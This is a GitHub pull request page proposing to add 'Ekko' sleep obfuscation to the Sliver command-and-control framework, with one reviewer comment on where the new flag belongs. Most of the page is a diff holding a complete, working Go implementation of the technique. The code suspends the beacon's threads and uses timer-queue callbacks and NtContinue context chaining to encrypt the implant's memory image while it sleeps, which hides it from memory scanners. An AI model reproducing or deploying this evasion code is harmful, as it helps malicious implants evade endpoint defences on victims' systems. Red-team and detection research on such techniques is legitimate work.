-
Notifications
You must be signed in to change notification settings - Fork 1.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Ekko / Sleep Obfuscation to Sliver #1805
Open
armysick
wants to merge
9
commits into
BishopFox:master
Choose a base branch
from
armysick:master
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+2,008
−1,601
Open
Changes from all commits
Commits
Show all changes
9 commits
Select commit
Hold shift + click to select a range
458042a
add ekko sleep obfuscation
armysick 7c3c760
Merge branch 'master' into master
armysick 277cfd6
Merge branch 'master' into master
rkervella 50cd340
remove prints from ekko
armysick e8809d9
randomise ekko XOR key
armysick 8ee5ec0
Merge branch 'master' into master
rkervella 0977a96
Merge branch 'master' into master
rkervella 34c9cca
Merge branch 'master' into master
rkervella 549b410
Merge branch 'master' into master
rkervella File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -272,6 +272,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, * | |
debug, _ := cmd.Flags().GetBool("debug") | ||
evasion, _ := cmd.Flags().GetBool("evasion") | ||
templateName, _ := cmd.Flags().GetString("template") | ||
sleepObfuscation, _ := cmd.Flags().GetBool("sleep-obfuscation") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same idea, please move this to |
||
|
||
reconnectInterval, _ := cmd.Flags().GetInt64("reconnect") | ||
pollTimeout, _ := cmd.Flags().GetInt64("poll-timeout") | ||
|
@@ -370,6 +371,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, * | |
Debug: debug, | ||
Evasion: evasion, | ||
SGNEnabled: sgnEnabled, | ||
SleepObfuscation: sleepObfuscation, | ||
ObfuscateSymbols: symbolObfuscation, | ||
C2: c2s, | ||
CanaryDomains: canaryDomains, | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
## ekko / Sliver | ||
|
||
An adapted version of https://github.com/scriptchildie/goEkko, a golang implementation of the original https://github.com/Cracked5pider/Ekko. | ||
|
||
It allows for the memory region of the beacon to be encrypted while the beacon is sleeping. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,226 @@ | ||
package ekko | ||
|
||
import ( | ||
"crypto/rand" | ||
"log" | ||
"syscall" | ||
"unsafe" | ||
|
||
"golang.org/x/sys/windows" | ||
) | ||
|
||
const ( | ||
WT_EXECUTEINTIMERTHREAD = 0x00000020 | ||
ThreadQuerySetWin32StartAddress = 0x9 | ||
) | ||
|
||
var ( | ||
// kernel32 | ||
kernel32dll = syscall.NewLazyDLL("kernel32.dll") | ||
procSuspendThread = kernel32dll.NewProc("SuspendThread") | ||
procResumeThread = kernel32dll.NewProc("ResumeThread") | ||
procGetModuleHandleA = kernel32dll.NewProc("GetModuleHandleA") | ||
procCreateEventW = kernel32dll.NewProc("CreateEventW") | ||
procCreateTimerQueue = kernel32dll.NewProc("CreateTimerQueue") | ||
procCreateTimerQueueTimer = kernel32dll.NewProc("CreateTimerQueueTimer") | ||
procRtlCaptureContext = kernel32dll.NewProc("RtlCaptureContext") | ||
procVirtualProtect = kernel32dll.NewProc("VirtualProtect") | ||
procWaitForSingleObject = kernel32dll.NewProc("WaitForSingleObject") | ||
procSetEvent = kernel32dll.NewProc("SetEvent") | ||
procDeleteTimerQueue = kernel32dll.NewProc("DeleteTimerQueue") | ||
|
||
//ntdll | ||
ntdll = syscall.NewLazyDLL("ntdll.dll") | ||
procNtContinue = ntdll.NewProc("NtContinue") | ||
procNtQueryInformationThread = ntdll.NewProc("NtQueryInformationThread") | ||
|
||
//Advapi32 | ||
Advapi32dll = syscall.NewLazyDLL("Advapi32.dll") | ||
procSystemFunction032 = Advapi32dll.NewProc("SystemFunction032") | ||
) | ||
|
||
func EkkoSleep(sleepTime uint64) error { | ||
|
||
currentProcessID := uint32(windows.GetCurrentProcessId()) | ||
|
||
// Take a snapshot of all running threads in the system | ||
hThreadSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPTHREAD, 0) | ||
if err != nil { | ||
return err | ||
} | ||
defer windows.CloseHandle(hThreadSnapshot) | ||
|
||
var te32 windows.ThreadEntry32 | ||
te32.Size = uint32(unsafe.Sizeof(te32)) | ||
|
||
// Retrieve information about the first thread in the snapshot | ||
err = windows.Thread32First(hThreadSnapshot, &te32) | ||
if err != nil { | ||
return err | ||
} | ||
|
||
for { | ||
if te32.OwnerProcessID == currentProcessID { | ||
|
||
if windows.GetCurrentThreadId() != te32.ThreadID { | ||
|
||
hThread, err := windows.OpenThread(0xFFFF, false, te32.ThreadID) | ||
if err != nil { | ||
continue | ||
} | ||
defer windows.CloseHandle(hThread) | ||
var dwStartAddress, size uintptr | ||
procNtQueryInformationThread.Call(uintptr(hThread), ThreadQuerySetWin32StartAddress, uintptr(unsafe.Pointer(&dwStartAddress)), unsafe.Sizeof(dwStartAddress), uintptr(unsafe.Pointer(&size))) | ||
|
||
ImageBase, _, _ := procGetModuleHandleA.Call(uintptr(0)) | ||
e_lfanew := *((*uint32)(unsafe.Pointer(ImageBase + 0x3c))) | ||
nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(ImageBase + uintptr(e_lfanew))) | ||
ImageEndAddress := ImageBase + uintptr(nt_header.OptionalHeader.SizeOfImage) | ||
|
||
if dwStartAddress >= ImageBase && dwStartAddress <= ImageEndAddress { | ||
procSuspendThread.Call(uintptr(hThread)) | ||
} else { | ||
goto nextThread | ||
} | ||
|
||
} | ||
} | ||
|
||
// Retrieve information about the next thread in the snapshot | ||
nextThread: | ||
err = windows.Thread32Next(hThreadSnapshot, &te32) | ||
if err != nil { | ||
break // No more threads | ||
} | ||
} | ||
|
||
|
||
te32.Size = uint32(unsafe.Sizeof(te32)) | ||
err = windows.Thread32First(hThreadSnapshot, &te32) | ||
if err != nil { | ||
return err | ||
} | ||
|
||
err = ekko(sleepTime) | ||
error2 := err | ||
|
||
|
||
// resume threads | ||
for { | ||
if te32.OwnerProcessID == currentProcessID { | ||
|
||
if windows.GetCurrentThreadId() != te32.ThreadID { | ||
|
||
hThread, err := windows.OpenThread(0xFFFF, false, te32.ThreadID) | ||
if err != nil { | ||
continue | ||
} | ||
defer windows.CloseHandle(hThread) | ||
|
||
procResumeThread.Call(uintptr(hThread)) | ||
|
||
} | ||
} | ||
|
||
// Retrieve information about the next thread in the snapshot | ||
err = windows.Thread32Next(hThreadSnapshot, &te32) | ||
if err != nil { | ||
break // No more threads | ||
} | ||
} | ||
|
||
if error2 != nil { | ||
return error2 | ||
} | ||
return nil | ||
} | ||
|
||
func ekko(sleepTime uint64) error { | ||
|
||
var CtxThread CONTEXT | ||
var RopProtRW CONTEXT | ||
var RopMemEnc CONTEXT | ||
var RopDelay CONTEXT | ||
var RopMemDec CONTEXT | ||
var RopProtRX CONTEXT | ||
var RopSetEvt CONTEXT | ||
|
||
var keybuf [16]byte | ||
rand.Read(keybuf[:]) | ||
|
||
var Key, Img UString | ||
|
||
ImageBase, _, _ := procGetModuleHandleA.Call(uintptr(0)) | ||
e_lfanew := *((*uint32)(unsafe.Pointer(ImageBase + 0x3c))) | ||
nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(ImageBase + uintptr(e_lfanew))) | ||
|
||
hEvent, _, _ := procCreateEventW.Call(0, 0, 0, 0) | ||
var hNewTimer, hTimerQueue uintptr | ||
hTimerQueue, _, _ = procCreateTimerQueue.Call() | ||
|
||
Img.Buffer = (*byte)(unsafe.Pointer(ImageBase)) | ||
Img.Length = nt_header.OptionalHeader.SizeOfImage | ||
|
||
Key.Buffer = &keybuf[0] | ||
Key.Length = uint32(unsafe.Sizeof(Key)) | ||
|
||
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procRtlCaptureContext.Addr(), uintptr(unsafe.Pointer(&CtxThread)), 0, 0, WT_EXECUTEINTIMERTHREAD) | ||
windows.WaitForSingleObject(windows.Handle(hEvent), 0x100) | ||
|
||
if CtxThread.Rip == 0 { | ||
log.Fatalln() | ||
} | ||
RopProtRW = CtxThread | ||
RopMemEnc = CtxThread | ||
RopDelay = CtxThread | ||
RopMemDec = CtxThread | ||
RopProtRX = CtxThread | ||
RopSetEvt = CtxThread | ||
|
||
var OldProtect uint64 | ||
RopProtRW.Rsp -= 8 | ||
RopProtRW.Rip = uint64(procVirtualProtect.Addr()) | ||
RopProtRW.Rcx = uint64(ImageBase) | ||
RopProtRW.Rdx = uint64(nt_header.OptionalHeader.SizeOfImage) | ||
RopProtRW.R8 = windows.PAGE_READWRITE | ||
RopProtRW.R9 = uint64(uintptr(unsafe.Pointer(&OldProtect))) | ||
|
||
RopMemEnc.Rsp -= 8 | ||
RopMemEnc.Rip = uint64(procSystemFunction032.Addr()) | ||
RopMemEnc.Rcx = uint64(uintptr(unsafe.Pointer(&Img))) | ||
RopMemEnc.Rdx = uint64(uintptr(unsafe.Pointer(&Key))) | ||
|
||
RopDelay.Rsp -= 8 | ||
RopDelay.Rip = uint64(procWaitForSingleObject.Addr()) | ||
RopDelay.Rcx = uint64(windows.CurrentProcess()) | ||
RopDelay.Rdx = sleepTime | ||
|
||
RopMemDec.Rsp -= 8 | ||
RopMemDec.Rip = uint64(procSystemFunction032.Addr()) | ||
RopMemDec.Rcx = uint64(uintptr(unsafe.Pointer(&Img))) | ||
RopMemDec.Rdx = uint64(uintptr(unsafe.Pointer(&Key))) | ||
|
||
RopProtRX.Rsp -= 8 | ||
RopProtRX.Rip = uint64(procVirtualProtect.Addr()) | ||
RopProtRX.Rcx = uint64(ImageBase) | ||
RopProtRX.Rdx = uint64(nt_header.OptionalHeader.SizeOfImage) | ||
RopProtRX.R8 = windows.PAGE_EXECUTE_READWRITE | ||
RopProtRX.R9 = uint64(uintptr(unsafe.Pointer(&OldProtect))) | ||
|
||
// SetEvent( hEvent ); | ||
RopSetEvt.Rsp -= 8 | ||
RopSetEvt.Rip = uint64(procSetEvent.Addr()) | ||
RopSetEvt.Rcx = uint64(hEvent) | ||
|
||
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopProtRW)), 100, 0, WT_EXECUTEINTIMERTHREAD) | ||
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopMemEnc)), 200, 0, WT_EXECUTEINTIMERTHREAD) | ||
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopDelay)), 300, 0, WT_EXECUTEINTIMERTHREAD) | ||
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopMemDec)), 400, 0, WT_EXECUTEINTIMERTHREAD) | ||
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopProtRX)), 500, 0, WT_EXECUTEINTIMERTHREAD) | ||
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopSetEvt)), 600, 0, WT_EXECUTEINTIMERTHREAD) | ||
|
||
windows.WaitForSingleObject(windows.Handle(hEvent), windows.INFINITE) | ||
procDeleteTimerQueue.Call(hTimerQueue) | ||
|
||
return nil | ||
} |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should probably be in
coreBeaconFlags
instead since sleep obfuscation is only relevant for beacons (unless I'm mistaken, feel free to correct me).